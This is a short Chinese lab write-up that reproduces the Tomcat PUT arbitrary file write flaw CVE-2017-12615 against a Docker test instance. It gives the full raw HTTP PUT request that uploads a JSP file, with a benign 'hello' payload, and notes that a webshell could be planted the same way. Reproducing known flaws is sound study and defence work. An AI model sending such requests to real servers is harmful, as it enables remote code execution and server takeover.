漏洞复现-通过PUT方法的Tomcat任意写入文件漏洞(CVE-2017-12615)
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
环境准备
访问http://ip:8080
要满足这个漏洞的产生,需要tomcat配置readonly = false。
这导致我们可以将文件写到服务器中。
进入docker容器tomcat中
发现web.xml配置文件中的readonly = false
达成可以漏洞利用的条件。
构造一个put形式的请求包。
PUT /test.jsp/ HTTP/1.1
Host: 192.168.154.129:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
<% out.print("hello"); %>
完成后访问生成的路径,发现成功执行了请求代码。
攻击者可以成功上传 webshell,并控制服务器。